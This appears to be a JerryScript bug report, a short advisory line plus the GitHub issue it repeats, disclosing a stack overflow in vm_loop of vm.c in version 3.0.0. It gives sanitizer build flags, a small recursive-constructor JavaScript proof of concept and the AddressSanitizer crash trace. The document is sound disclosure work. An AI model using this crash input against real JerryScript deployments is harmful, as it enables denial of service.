Jerryscript 3.0.0 was discovered to contain a stack overflow via vm_loop.lto_priv.304 in /jerry-core/vm/vm.c.
###### JerryScript revision

Commit: [42523bd6](https://github.com/jerryscript-project/jerryscript/commit/42523bd6e2b114755498c9f68fd78545f9b33476)

Version: v3.0.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
python  ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10
```



###### Test case

```javascript
function JSEtest() {
  new JSEtest();
}

try {
  JSEtest();
} catch (e) {
  print(e);
}
```

​	

###### Execution steps & Output

```bash
$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0)
    #0 0x566a456b in vm_loop.lto_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975
    #1 0x56929645 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #2 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #3 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #4 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #5 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #6 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #7 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287
    #......
    
    #......
    #368 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #369 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #370 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #371 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #372 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #373 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm_loop.lto_priv.304
==78723==ABORTING
```


Credits: Found by OWL337 team.
Stack-overflow in vm_loop.lto_priv.304 of vm.c
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Stack-overflow in vm_loop.lto_priv.304 of vm.c
Issue date:

--- start body ---
###### JerryScript revision

Commit: [42523bd6](https://github.com/jerryscript-project/jerryscript/commit/42523bd6e2b114755498c9f68fd78545f9b33476)

Version: v3.0.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
python  ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10
```



###### Test case

```javascript
function JSEtest() {
  new JSEtest();
}

try {
  JSEtest();
} catch (e) {
  print(e);
}
```

​	

###### Execution steps & Output

```bash
$ ./jerryscript/build/bin/jerry poc.js

ASAN:DEADLYSIGNAL
=================================================================
==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0)
    #0 0x566a456b in vm_loop.lto_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975
    #1 0x56929645 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260
    #2 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #3 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #4 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #5 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #6 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #7 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287
    #......
    
    #......
    #368 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
    #369 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
    #370 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
    #371 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
    #372 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
    #373 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287

SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm_loop.lto_priv.304
==78723==ABORTING
```


Credits: Found by OWL337 team.
--- end body ---
